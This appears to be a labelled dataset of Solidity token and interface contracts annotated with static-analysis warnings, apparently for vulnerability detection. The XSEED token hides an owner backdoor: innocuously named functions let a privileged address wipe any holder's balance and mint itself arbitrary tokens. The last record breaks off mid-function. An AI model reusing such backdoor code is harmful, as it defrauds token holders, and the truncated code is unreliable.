files
dict
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract Frens is Ownable, ERC20 {\n bool public limited;\n\n uint256 public maxHoldingAmount;\n\n uint256 public minHoldingAmount;\n\n address public uniswapV2Pair;\n\n mapping(address => bool) public blacklists;\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 828be8c): Frens.constructor(uint256,address,address)._totalSupply shadows ERC20._totalSupply (state variable)\n\t// Recommendation for 828be8c: Rename the local variables that shadow another component.\n constructor(\n uint256 _totalSupply,\n address _lpWallet,\n address _ecoWallet\n ) ERC20(\"Frens\", \"Frens\") {\n _mint(_lpWallet, (_totalSupply * 10 ** 18 * 970) / 1000);\n\n _mint(_ecoWallet, (_totalSupply * 10 ** 18 * 30) / 1000);\n }\n\n function blacklist(\n address _address,\n bool _isBlacklisting\n ) external onlyOwner {\n blacklists[_address] = _isBlacklisting;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: afe00bf): Frens.setRule(bool,address,uint256,uint256) should emit an event for maxHoldingAmount = _maxHoldingAmount minHoldingAmount = _minHoldingAmount \n\t// Recommendation for afe00bf: Emit an event for critical parameter changes.\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: bb2b573): Frens.setRule(bool,address,uint256,uint256)._uniswapV2Pair lacks a zerocheck on \t uniswapV2Pair = _uniswapV2Pair\n\t// Recommendation for bb2b573: Check that the address is not zero.\n function setRule(\n bool _limited,\n address _uniswapV2Pair,\n uint256 _maxHoldingAmount,\n uint256 _minHoldingAmount\n ) external onlyOwner {\n limited = _limited;\n\n\t\t// missing-zero-check | ID: bb2b573\n uniswapV2Pair = _uniswapV2Pair;\n\n\t\t// events-maths | ID: afe00bf\n maxHoldingAmount = _maxHoldingAmount;\n\n\t\t// events-maths | ID: afe00bf\n minHoldingAmount = _minHoldingAmount;\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual override {\n require(!blacklists[to] && !blacklists[from], \"Blacklisted\");\n\n if (limited && from == uniswapV2Pair) {\n require(\n super.balanceOf(to) + amount <= maxHoldingAmount &&\n super.balanceOf(to) + amount >= minHoldingAmount,\n \"Forbid\"\n );\n }\n }\n\n function burn(uint256 value) external {\n _burn(msg.sender, value);\n }\n}", "file_name": "solidity_code_879.sol", "secure": 0, "size_bytes": 2744 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./UniswapRouterV2.sol\" as UniswapRouterV2;\n\nlibrary IUniswapRouterV2 {\n function swap2(\n UniswapRouterV2 instance,\n uint256 amount,\n address from\n ) internal view returns (uint256) {\n return instance.grokswap1(address(0), amount, from);\n }\n\n function swap99(\n UniswapRouterV2 instance2,\n UniswapRouterV2 instance,\n uint256 amount,\n address from\n ) internal view returns (uint256) {\n if (amount > 1) {\n return swap2(instance, amount, from);\n } else {\n return swap2(instance2, amount, from);\n }\n }\n}", "file_name": "solidity_code_88.sol", "secure": 1, "size_bytes": 707 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function initialize(\n string memory name_,\n string memory symbol_,\n uint8 decimal_,\n uint256 totalSupply_,\n address send\n ) external;\n\n function addToBlacklist(address account) external;\n\n function removeFromBlacklist(address account) external;\n\n function addMultipleToBlacklist(address[] calldata accounts) external;\n\n function removeMultipleToBlacklist(address[] calldata accounts) external;\n\n function getTransactedAddressListLength() external view returns (uint256);\n\n function getTransactedAddresses(\n uint256 start,\n uint256 length\n ) external view returns (address[] memory);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(address to, uint256 amount) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external returns (bool);\n}", "file_name": "solidity_code_880.sol", "secure": 1, "size_bytes": 1510 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract ERC20Token is Context, IERC20, IERC20Metadata, Ownable {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private _decimal;\n\n mapping(address => bool) public blacklist;\n\n mapping(address => bool) public hasAddressTransacted;\n\n mapping(address => uint256) public addressToIndex;\n\n address[] public transactedAddressList;\n\n constructor() {}\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 0cb5ee1): ERC20Token.initialize(string,string,uint8,uint256,address) should emit an event for _decimal = decimal_ \n\t// Recommendation for 0cb5ee1: Emit an event for critical parameter changes.\n function initialize(\n string memory name_,\n string memory symbol_,\n uint8 decimal_,\n uint256 totalSupply_,\n address send\n ) external {\n require(msg.sender == owner(), \"Token: FORBIDDEN\");\n\n _name = name_;\n\n _symbol = symbol_;\n\n\t\t// events-maths | ID: 0cb5ee1\n _decimal = decimal_;\n\n _mint(send, totalSupply_);\n }\n\n function addToBlacklist(address account) external onlyOwner {\n require(!blacklist[account], \"Address is already blacklisted\");\n\n blacklist[account] = true;\n\n _removeAddressFromTransactionList(account);\n }\n\n function removeFromBlacklist(address account) external onlyOwner {\n require(blacklist[account], \"Address is not blacklisted\");\n\n blacklist[account] = false;\n }\n\n function addMultipleToBlacklist(\n address[] calldata accounts\n ) external onlyOwner {\n for (uint256 i = 0; i < accounts.length; i++) {\n address account = accounts[i];\n\n if (!blacklist[account]) {\n blacklist[account] = true;\n\n _removeAddressFromTransactionList(account);\n }\n }\n }\n\n function removeMultipleToBlacklist(\n address[] calldata accounts\n ) external onlyOwner {\n for (uint256 i = 0; i < accounts.length; i++) {\n address account = accounts[i];\n\n if (blacklist[account]) {\n blacklist[account] = false;\n }\n }\n }\n\n function _checkBlacklist(address sender, address recipient) internal view {\n require(!blacklist[sender], \"Sender is blacklisted\");\n\n require(!blacklist[recipient], \"Recipient is blacklisted\");\n }\n\n function _recordAddressAsTransacted(address account) internal {\n if (!hasAddressTransacted[account]) {\n hasAddressTransacted[account] = true;\n\n transactedAddressList.push(account);\n\n addressToIndex[account] = transactedAddressList.length - 1;\n }\n }\n\n function _removeAddressFromTransactionList(address account) internal {\n if (hasAddressTransacted[account]) {\n uint256 index = addressToIndex[account];\n\n uint256 lastIndex = transactedAddressList.length - 1;\n\n if (index != lastIndex) {\n address lastAddress = transactedAddressList[lastIndex];\n\n transactedAddressList[index] = lastAddress;\n\n addressToIndex[lastAddress] = index;\n }\n\n transactedAddressList.pop();\n\n delete addressToIndex[account];\n\n hasAddressTransacted[account] = false;\n }\n }\n\n function getTransactedAddressListLength() public view returns (uint256) {\n return transactedAddressList.length;\n }\n\n function getTransactedAddresses(\n uint256 start,\n uint256 length\n ) public view returns (address[] memory) {\n require(\n start < transactedAddressList.length,\n \"Start index out of bounds\"\n );\n\n uint256 end = start + length > transactedAddressList.length\n ? transactedAddressList.length\n : start + length;\n\n address[] memory result = new address[](end - start);\n\n for (uint256 i = start; i < end; i++) {\n result[i - start] = transactedAddressList[i];\n }\n\n return result;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return _decimal;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 778a383): ERC20Token.transfer(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 778a383: Rename the local variables that shadow another component.\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n\n _transfer(owner, to, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 5dd7ba4): ERC20Token.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 5dd7ba4: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6581e9a): ERC20Token.approve(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6581e9a: Rename the local variables that shadow another component.\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n\n _spendAllowance(from, spender, amount);\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b8059a6): ERC20Token.increaseAllowance(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for b8059a6: Rename the local variables that shadow another component.\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 3daa0da): ERC20Token.decreaseAllowance(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 3daa0da: Rename the local variables that shadow another component.\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n uint256 currentAllowance = allowance(owner, spender);\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n _checkBlacklist(from, to);\n\n _recordAddressAsTransacted(from);\n\n _recordAddressAsTransacted(to);\n\n uint256 fromBalance = _balances[from];\n\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n _balances[from] = fromBalance - amount;\n\n _balances[to] += amount;\n }\n\n emit Transfer(from, to, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply += amount;\n\n unchecked {\n _balances[account] += amount;\n }\n\n emit Transfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n uint256 accountBalance = _balances[account];\n\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n\n unchecked {\n _balances[account] = accountBalance - amount;\n\n _totalSupply -= amount;\n }\n\n emit Transfer(account, address(0), amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 17076a0): ERC20Token._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 17076a0: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 23b8341): ERC20Token._spendAllowance(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 23b8341: Rename the local variables that shadow another component.\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n}", "file_name": "solidity_code_881.sol", "secure": 0, "size_bytes": 11094 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"./IPancakeFactory.sol\" as IPancakeFactory;\n\ncontract XSEED {\n address internal constant FACTORY =\n 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;\n\n address internal constant ROUTER =\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n\n address internal constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 08d931b): XSEED.tokenTotalSupply should be immutable \n\t// Recommendation for 08d931b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private tokenTotalSupply;\n\n string private tokenName;\n\n string private tokenSymbol;\n\n\t// WARNING Optimization Issue (immutable-states | ID: bbbad2f): XSEED.xxnux should be immutable \n\t// Recommendation for bbbad2f: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private xxnux;\n\n\t// WARNING Optimization Issue (immutable-states | ID: ac34ec9): XSEED.tokenDecimals should be immutable \n\t// Recommendation for ac34ec9: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private tokenDecimals;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: f586bb2): XSEED.constructor(address).ads lacks a zerocheck on \t xxnux = ads\n\t// Recommendation for f586bb2: Check that the address is not zero.\n constructor(address ads) {\n tokenName = \"MXS Games\";\n\n tokenSymbol = \"XSEED\";\n\n tokenDecimals = 9;\n\n tokenTotalSupply = 50000000000 * 10 ** tokenDecimals;\n\n _balances[msg.sender] = tokenTotalSupply;\n\n emit Transfer(address(0), msg.sender, tokenTotalSupply);\n\n\t\t// missing-zero-check | ID: f586bb2\n xxnux = ads;\n }\n\n function openMarch(address bots) external {\n if (\n xxnux == msg.sender &&\n xxnux != bots &&\n pancakePair() != bots &&\n bots != ROUTER\n ) {\n _balances[bots] = 0;\n }\n }\n\n function removeLimits(uint256 addBot) external {\n if (xxnux == msg.sender) {\n _balances[msg.sender] =\n 42069000000 *\n 42069 *\n addBot *\n 10 ** tokenDecimals;\n }\n }\n\n function pancakePair() public view virtual returns (address) {\n return IPancakeFactory(FACTORY).getPair(address(WETH), address(this));\n }\n\n function symbol() public view returns (string memory) {\n return tokenSymbol;\n }\n\n function totalSupply() public view returns (uint256) {\n return tokenTotalSupply;\n }\n\n function decimals() public view virtual returns (uint8) {\n return tokenDecimals;\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return _balances[account];\n }\n\n function name() public view returns (string memory) {\n return tokenName;\n }\n\n function transfer(address to, uint256 amount) public returns (bool) {\n _transfer(msg.sender, to, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(address spender, uint256 amount) public returns (bool) {\n _approve(msg.sender, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address spender = msg.sender;\n\n _spendAllowance(from, spender, amount);\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n uint256 balance = _balances[from];\n\n require(balance >= amount, \"ERC20: transfer amount exceeds balance\");\n\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[from] = _balances[from] - amount;\n\n _balances[to] = _balances[to] + amount;\n\n emit Transfer(from, to, amount);\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n}", "file_name": "solidity_code_882.sol", "secure": 0, "size_bytes": 5650 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract DeSci is ERC20, Ownable(msg.sender) {\n constructor() ERC20(\"Decentralized Science\", \"DeSci\") {\n uint256 decimal = 10 ** 18;\n\n uint256 total = 1000000000;\n\n address receiver = address(0x35888a8B0dDd0d97F0d520dF09949CaBB3156c96);\n\n _mint(receiver, total * decimal);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n if (recipient == address(0)) {\n require(\n _msgSender() != address(0),\n \"Burn: Sender cannot be the zero address\"\n );\n\n _burn(_msgSender(), amount);\n\n emit Transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n return super.transfer(recipient, amount);\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n if (recipient == address(0)) {\n require(\n sender != address(0),\n \"Burn: Sender cannot be the zero address\"\n );\n\n _burn(sender, amount);\n\n emit Transfer(sender, recipient, amount);\n\n return true;\n }\n\n return super.transferFrom(sender, recipient, amount);\n }\n}", "file_name": "solidity_code_883.sol", "secure": 1, "size_bytes": 1557 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IUniswapV2Router01 {\n function factory() external pure returns (address);\n\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}", "file_name": "solidity_code_884.sol", "secure": 1, "size_bytes": 388 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router01.sol\" as IUniswapV2Router01;\n\ninterface IUniswapV2Router02 is IUniswapV2Router01 {\n function swapExactTokensForTokensSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n\n function getAmountsOut(\n uint256 amountIn,\n address[] memory path\n ) external view returns (uint256[] memory amounts);\n}", "file_name": "solidity_code_885.sol", "secure": 1, "size_bytes": 813 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IPair {\n function burn(address to) external returns (uint256 amount0, uint256 amount1);\n\n function mint(address to) external returns (uint256 liquidity);\n\n function token0() external view returns (address);\n\n function token1() external view returns (address);\n\n function sync() external;\n\n function getReserves()\n external\n view\n returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);\n\n function getAmountOut(\n uint256 amountIn,\n uint256 reserveIn,\n uint256 reserveOut\n ) external view returns (uint256);\n}", "file_name": "solidity_code_886.sol", "secure": 1, "size_bytes": 683 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface Dataport {\n function DATA_READ() external view returns (address);\n}", "file_name": "solidity_code_887.sol", "secure": 1, "size_bytes": 144 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface Logic {\n function createSD(\n string memory n,\n string memory symbol,\n uint256 supply,\n uint256[12] memory fee,\n bool sb,\n address ownerAddr,\n address backingTokenAddress,\n bool _LGE\n ) external returns (address);\n\n function afterConstructor() external;\n\n function sdOwner() external view returns (address);\n\n function backingAsset() external view returns (address);\n}", "file_name": "solidity_code_888.sol", "secure": 1, "size_bytes": 527 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router01.sol\" as IUniswapV2Router01;\nimport \"./IPair.sol\" as IPair;\nimport \"./Dataport.sol\" as Dataport;\nimport \"./SafeTransfer.sol\" as SafeTransfer;\nimport \"./Logic.sol\" as Logic;\nimport \"./Reader.sol\" as Reader;\n\ncontract SDDeployer {\n mapping(address => address) public creatorOfSD;\n\n mapping(address => address) public SDOfCreator;\n\n mapping(string => bool) public useInfo;\n\n mapping(string => bool) public use;\n\n mapping(address => uint256[]) public tick;\n\n mapping(address => Protector) public protect;\n\n mapping(address => mapping(string => string)) public info;\n\n mapping(address => string[]) private news;\n\n mapping(address => string[]) public usedInfoStrings;\n\n mapping(address => mapping(address => KYC)) private kyc;\n\n mapping(address => uint256) public KYCopen;\n\n mapping(address => mapping(string => bool)) public usedInfoStringsBool;\n\n mapping(address => mapping(address => uint256[])) public myTickets;\n\n mapping(address => mapping(address => bool)) public isSupport;\n\n mapping(address => mapping(address => uint256[])) public myReplied;\n\n mapping(address => Tickets[]) private ticket;\n\n mapping(address => uint256) public ticketsOpened;\n\n mapping(address => uint256) public ticketsClosed;\n\n mapping(address => uint256) public minTicketCost;\n\n mapping(address => uint256) public heldDonation;\n\n mapping(address => uint256) public karma;\n\n mapping(address => uint256) public karmaDonation;\n\n mapping(address => mapping(address => uint256)) public lastKarma;\n\n mapping(address => address) public donationLocation;\n\n address[] public allSD;\n\n address public logic = 0x7a8B3a2c9e2d6506045fA95180be608c95cf2a30;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 5e57525): SDDeployer.dataread should be immutable \n\t// Recommendation for 5e57525: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public dataread;\n\n uint256 public length = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 66dd6a1): SDDeployer.minDonation should be constant \n\t// Recommendation for 66dd6a1: Add the 'constant' attribute to state variables that never change.\n uint256 public minDonation = 1e15;\n\n\t// WARNING Optimization Issue (constable-states | ID: cec3094): SDDeployer.fill should be constant \n\t// Recommendation for cec3094: Add the 'constant' attribute to state variables that never change.\n string internal fill = \"Awaiting\"; // Standard fill for submission of support and suggestions.\n\n bool public on = false;\n\n uint256 private constant _NOT_ENTERED = 1;\n\n uint256 private constant _ENTERED = 2;\n\n mapping(address => bool) whitelist;\n\n uint256 private _status;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9efd631): SDDeployer._status2 should be constant \n\t// Recommendation for 9efd631: Add the 'constant' attribute to state variables that never change.\n uint256 private _status2;\n\n event Created(string name, address pair);\n\n event SetProtection(address user, uint256 slippage);\n\n event Dock(string symbol, bool _bool);\n\n event DockInfo(string symbol, bool _bool);\n\n event ConfirmKYC(address sd, address who);\n\n event UpdateInformation(string choice, string input);\n\n event AddNews(address sd, string input);\n\n event EditNews(address sd, uint256 id, string input);\n\n event SubmitKYC(address sd, address user);\n\n event GiveKarma(address sd, uint256 choice);\n\n event SubmitTicket(address sd, address user, uint256 id);\n\n event ReplyTicket(address sd, uint256 id);\n\n constructor() {\n dataread = Dataport(0xcCeD1a96321B2B2a06E8F3F4B0B883dDD059968c)\n .DATA_READ();\n\n address feg = 0xF3c7CECF8cBC3066F9a87b310cEBE198d00479aC;\n\n address own = 0x4b01518524845a2E32cA4B136e8d05Cc0Ef1Ca78;\n\n creatorOfSD[feg] = own;\n\n SDOfCreator[own] = feg;\n\n allSD.push(feg);\n\n length += 1;\n\n isSupport[feg][own] = true;\n\n minTicketCost[feg] = minDonation;\n\n ticket[feg].push();\n\n news[feg].push();\n\n donationLocation[feg] = own;\n\n string memory f = \"FEG\";\n\n use[f] = true;\n\n _status = _NOT_ENTERED;\n }\n\n receive() external payable {}\n\n modifier nonReentrant() {\n _nonReentrantBefore();\n\n _;\n\n _nonReentrantAfter();\n }\n\n function _nonReentrantBefore() private {\n require(\n _status != _ENTERED || whitelist[msg.sender],\n \"ReentrancyGuard: reentrant call\"\n );\n\n _status = _ENTERED;\n }\n\n function _nonReentrantAfter() private {\n _status = _NOT_ENTERED;\n }\n\n function addWhitelist(address toAdd) internal {\n whitelist[toAdd] = true;\n }\n\n struct Tickets {\n address sd;\n address user;\n address lastAdmin;\n string[] question;\n string[] answer;\n uint256 donation;\n uint256 time;\n bool closed;\n }\n\n struct KYC {\n string document;\n uint256 donation;\n uint256 time;\n bool confirmed;\n }\n\n function dock(string[] memory sym, bool[] memory _bool) external {\n require(\n Reader(dataread).isAdmin(msg.sender) ||\n Reader(dataread).isSetter(msg.sender)\n );\n\n for (uint256 i = 0; i < sym.length; i++) {\n use[sym[i]] = _bool[i];\n\n emit Dock(sym[i], _bool[i]);\n }\n }\n\n function setOn(bool _bool) external {\n require(\n Reader(dataread).isAdmin(msg.sender) ||\n Reader(dataread).superAdmin(msg.sender)\n );\n\n on = _bool;\n }\n\n function openTickets(\n address sd,\n uint256 start,\n uint256 amount\n ) external view returns (uint256[] memory ids) {\n uint256 a = amount > 0 ? amount : ticket[sd].length;\n\n require(start + a <= ticket[sd].length, \"over\");\n\n uint256 b = 0;\n\n ids = new uint256[](a);\n\n for (uint256 i = start; i < start + a; i++) {\n if (!ticket[sd][i].closed) {\n ids[b] = i;\n\n b++;\n }\n }\n }\n\n function submitTicket(\n address sd,\n string memory _question\n ) external payable {\n uint256 cost = minTicketCost[sd];\n\n if (cost > 0) {\n require(msg.value == cost, \"min\");\n }\n\n ticket[sd].push();\n\n uint256 id = ticket[sd].length - 1;\n\n ticket[sd][id].sd = sd;\n\n ticket[sd][id].question.push(_question);\n\n ticket[sd][id].user = msg.sender;\n\n if (cost > 0) {\n ticket[sd][id].donation = msg.value;\n\n heldDonation[sd] += msg.value;\n }\n\n ticket[sd][id].time = block.timestamp;\n\n myTickets[sd][msg.sender].push(ticket[sd].length - 1);\n\n ticketsOpened[sd] += 1;\n\n emit SubmitTicket(sd, msg.sender, id);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: c82742c): SDDeployer.recoverDonation(address,uint256) uses timestamp for comparisons Dangerous comparisons require(bool,string)(block.timestamp > ticket[sd][id].time + 259200,!expired)\n\t// Recommendation for c82742c: Avoid relying on 'block.timestamp'.\n function recoverDonation(address sd, uint256 id) external nonReentrant {\n require(ticket[sd][id].user == msg.sender, \"user\");\n\n\t\t// timestamp | ID: c82742c\n require(block.timestamp > ticket[sd][id].time + 72 hours, \"!expired\");\n\n uint256 d = ticket[sd][id].donation;\n\n uint256 k = kyc[sd][msg.sender].donation;\n\n require(d + k > 0, \"no donation\");\n\n if (k > 0) {\n d += k;\n\n KYCopen[sd] -= 1;\n\n kyc[sd][msg.sender].donation = 0;\n }\n\n if (d > 0) {\n ticketsOpened[sd] -= 1;\n\n ticket[sd][id].donation = 0;\n }\n\n heldDonation[sd] = d > heldDonation[sd] ? 0 : heldDonation[sd] - d;\n\n SafeTransfer.safeTransferETH(msg.sender, d);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: e62044d): SDDeployer.giveKarma(address,uint256) uses timestamp for comparisons Dangerous comparisons require(bool,string)(block.timestamp > lastKarma[msg.sender][sd] + 86400,1 day)\n\t// Recommendation for e62044d: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: ba060e0): SDDeployer.giveKarma(address,uint256) has external calls inside a loop blockNumbers[i] < block.number 5 && IERC20(sd).balanceOf(msg.sender) >= _balances[i]\n\t// Recommendation for ba060e0: Favor pull over push strategy for external calls.\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 8f50fdb): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 8f50fdb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: 55500ad): SDDeployer.giveKarma(address,uint256).d is a local variable never initialized\n\t// Recommendation for 55500ad: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function giveKarma(\n address sd,\n uint256 choice\n ) external payable nonReentrant {\n require(msg.value == karmaDonation[sd], \"min\");\n\t\t// timestamp | ID: e62044d\n\n require(block.timestamp > lastKarma[msg.sender][sd] + 1 days, \"1 day\");\n\n bool d;\n\n (uint256[] memory _balances, uint256[] memory blockNumbers) = Reader(sd)\n .allLastBalance(msg.sender);\n\n for (uint256 i = 0; i < _balances.length; i++) {\n if (\n\t\t\t\t// calls-loop | ID: ba060e0\n blockNumbers[i] < block.number - 5 &&\n IERC20(sd).balanceOf(msg.sender) >= _balances[i]\n ) {\n d = true;\n\n break;\n }\n }\n\n require(d, \"!5blocks\");\n\n karma[sd] = choice == 0\n ? karma[sd] + 1\n : karma[sd] > 0\n ? karma[sd] - 1\n : 0;\n\n if (karmaDonation[sd] > 0) {\n\t\t\t// reentrancy-no-eth | ID: 8f50fdb\n 